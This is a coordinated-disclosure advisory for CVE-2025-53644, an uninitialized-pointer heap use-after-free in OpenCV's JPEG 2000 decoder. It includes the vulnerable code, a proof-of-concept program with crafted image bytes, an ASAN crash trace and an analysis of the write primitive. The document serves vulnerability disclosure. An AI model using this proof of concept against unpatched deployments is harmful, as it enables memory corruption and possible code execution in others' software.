Coordinated Disclosure Timeline
- 2025-04-24: The report was sent to security at opencv.org.
- 2025-04-30: Asked for a confirmation.
- 2025-05-01: A public issue was created asking for a contact.
- 2025-05-07: The report was sent to a maintainer.
- 2025-05-13: A fix was merged to the 4.x branch.
- 2025-07-02: v4.12.0 with the fix was released.
Summary
An uninitialized pointer variable on stack may lead to arbitrary heap buffer write when reading crafted JPEG images.
Project
OpenCV
Tested Version
Details
Use after free buffer write in opj_jp2_read_header
because of an uninitialized pointer in cv::detail::Jpeg2KOpjDecoderBase::readHeader
(GHSL-2025-057
)
The rawImage
pointer variable in cv::detail::Jpeg2KOpjDecoderBase::readHeader
is not initialized before the opj_read_header
call.
opj_image_t* rawImage;
if (!opj_read_header(stream_.get(), codec_.get(), &rawImage))
return false;
An allocated memory address is meant to be assigned to the pointer in opj_j2k_read_header
. If the opj_j2k_read_header
fails, the pointer is left intact. However the return value is not checked in opj_jp2_read_header
[1] and if *p_image
contains a garbage value from stack, this leads to 4 bytes write at offsetof(opj_image_t, color_space)
[2]. Also, if the image contains ICC profile, it leads to a valid memory address write at offsetof(opj_image_t, icc_profile_buf)
[3] and an attacker controlled arbitrary integer write at offsetof(opj_image_t, icc_profile_len)
[4] (The icc_profile_len
value is fully controlled by a crafted image as it can be seen in the PoC).
ret = opj_j2k_read_header(p_stream,
jp2->j2k,
p_image,
p_manager);
if (p_image && *p_image) { // <-- 1
/* Set Image Color Space */
if (jp2->enumcs == 16) {
(*p_image)->color_space = OPJ_CLRSPC_SRGB;
} else if (jp2->enumcs == 17) {
(*p_image)->color_space = OPJ_CLRSPC_GRAY;
} else if (jp2->enumcs == 18) {
(*p_image)->color_space = OPJ_CLRSPC_SYCC;
} else if (jp2->enumcs == 24) {
(*p_image)->color_space = OPJ_CLRSPC_EYCC;
} else if (jp2->enumcs == 12) {
(*p_image)->color_space = OPJ_CLRSPC_CMYK;
} else {
(*p_image)->color_space = OPJ_CLRSPC_UNKNOWN; // <-- 2
}
if (jp2->color.icc_profile_buf) {
(*p_image)->icc_profile_buf = jp2->color.icc_profile_buf; // <-- 3
(*p_image)->icc_profile_len = jp2->color.icc_profile_len; // <-- 4
jp2->color.icc_profile_buf = NULL;
}
Proof of Concept:
#include <opencv2/opencv.hpp>
#include <opencv2/imgcodecs/legacy/constants_c.h>
static void decode(const uint8_t* data, size_t size) {
std::vector<uint8_t> image_data = {data, data + size};
cv::Mat data_matrix =
cv::Mat(1, image_data.size(), CV_8UC1, image_data.data());
cv::Mat decoded_matrix = cv::imdecode(data_matrix, CV_LOAD_IMAGE_UNCHANGED);
}
int main() {
const uint8_t data1[] = {0xff,0x4f, // SOC marker
0xff,0x51, // SIZ marker
0x00,0x29, // Size with marker 41
0x01,0x05,// Rsiz (capabilities)
0x00,0x00,0x0a,0xa2, // Xsiz
0x00,0x01,0xeb,0xb8, // Ysiz
0x00,0x00,0x00,0x33, // XOsiz
0x00,0x00,0x41,0x80, // YOsiz
0x00,0x0b,0x00,0x03, // XTsiz
0x2a,0xb9,0xd1,0x4d, // YTsiz
0x00,0x00,0x00,0x21, // XTOsiz
0x00,0x00,0x0f,0xf5, // YTOsiz
0x00,0x01, // Csiz
0x07, // Ssiz_0
0x0a, // XRsiz_0
0x37, // YRsiz_0
0xff,0x52, // COD marker
0x00,0x0d, // Size with marker 13
0x05, // Scod
0x00, // SGcod (A)
0x00,0x11, // SGcod (B)
0x00, // SGcod (C)
0x00, // SPcod (D) / SPcoc (A)
0x04, // SPcod (E) / SPcoc (B)
0x04, // SPcod (F) / SPcoc (C)
0x2c, // SPcod (G) / SPcoc (D)
0x01, // SPcod (H) / SPcoc (E)
0x86, // SPcod (I_i) / SPcoc (F_i)
0xff,0x5c, // QCD marker
0x00,0x04, // Size with marker 4
0x60, // Sqcx
0xb7, // SPqcx_0
0xff,0x90, // SOT marker
0x00,0x0a, // Size with marker 10
0x00,0x00, // Isot
0x00,0x00,0x00,0x00, // Psot
0x00, // TPsot
0x76, // TNsot
0xff,0x93, // SOD marker
0x00,0x00 // last invalid marker
};
const uint8_t data2[] = {0x00,0x00,0x00,0x0c,0x6a,0x50,0x20,0x20,0x0d,0x0a,0x87,0x0a, // signature
0x00,0x00,0x00,0x14, // box length 20
0x66,0x74,0x79,0x70, // box: file type
0x6a,0x70,0x30,0x20, // BR
0xf9,0xff,0xff,0xff, // MinV
0x6a,0x70,0x33,0x20, // CLi
0x00,0x00,0x00,0x31, // box length 49
0x6a,0x70,0x32,0x68, // box: JP2 Header
0x00,0x00,0x00,0x16, // box length 22
0x69,0x68,0x64,0x72, // box: Image Header
0x00,0x80,0x00,0x00, // Height
0x00,0x00,0x05,0x00, // Width
0x00,0x03, // NC (number of components)
0x07, // BPC
0x07, // C
0x00, // UnkC
0x00, // IPR
0x00,0x00,0x00,0x13, // box length 19
0x63,0x6f,0x6c,0x72, // box: Color Specification
0x02, // Meth
0xff, // PRECEDENCE
0xff, // APPROX
0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08, // icc values
};
decode(data1, sizeof(data1));
decode(data2, sizeof(data2));
decode(data2, sizeof(data2));
decode(data1, sizeof(data1));
decode(data2, sizeof(data2));
return 0;
}
When compiled with ASAN the fifth call to decode
reliably crashes with:
==18==ERROR: AddressSanitizer: heap-use-after-free on address 0x5040000ccde4 at pc 0x55931bb3b32f bp 0x7ffe57a7cf10 sp 0x7ffe57a7cf08
WRITE of size 4 at 0x5040000ccde4 thread T0
SCARINESS: 46 (4-byte-write-heap-use-after-free)
#0 0x55931bb3b32e in opj_jp2_read_header /src/opencv/3rdparty/openjpeg/openjp2/jp2.c:2889:37
#1 0x55931bab6e25 in opj_read_header /src/opencv/3rdparty/openjpeg/openjp2/openjpeg.c:475:16
#2 0x55931a0fe70a in cv::detail::Jpeg2KOpjDecoderBase::readHeader() /src/opencv/modules/imgcodecs/src/grfmt_jpeg2000_openjpeg.cpp:538:14
#3 0x55931a0154e7 in cv::imdecode_(cv::Mat const&, int, cv::Mat&) /src/opencv/modules/imgcodecs/src/loadsave.cpp:1195:22
#4 0x55931a01405e in cv::imdecode(cv::_InputArray const&, int) /src/opencv/modules/imgcodecs/src/loadsave.cpp:1274:10
#5 0x559319ff928f in decode(unsigned char const*, unsigned long) /src/main.cc:8:28
Impact
The exploitability depends on the usage of the OpenCV library and the uninitialized variable assigned to the pointer depends on the previous usage of the stack by the specific program. Theoretically it may contain an arbitrary memory address. The PoC above demonstrates that fifth call to decode
reliably uses an address from a previously deallocated memory. If the memory is allocated again at the address before the call it may lead to a valid memory overwrite.
The write memory primitive however has inconvenient side effects: even though the attacker fully controls jp2->color.icc_profile_len
value written at offsetof(opj_image_t, icc_profile_len)
, it also overwrites memory at offsetof(opj_image_t, color_space)
with OPJ_CLRSPC_UNKNOWN
and a valid memory address at offsetof(opj_image_t, icc_profile_buf)
.
Nevertheless it may lead to arbitrary memory overwrite and code execution.
CWEs
- CWE-457: “Use of Uninitialized Variable”
CVE
- CVE-2025-53644 - GHSL-2025-057
Credit
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2025-057
in any communication regarding this issue.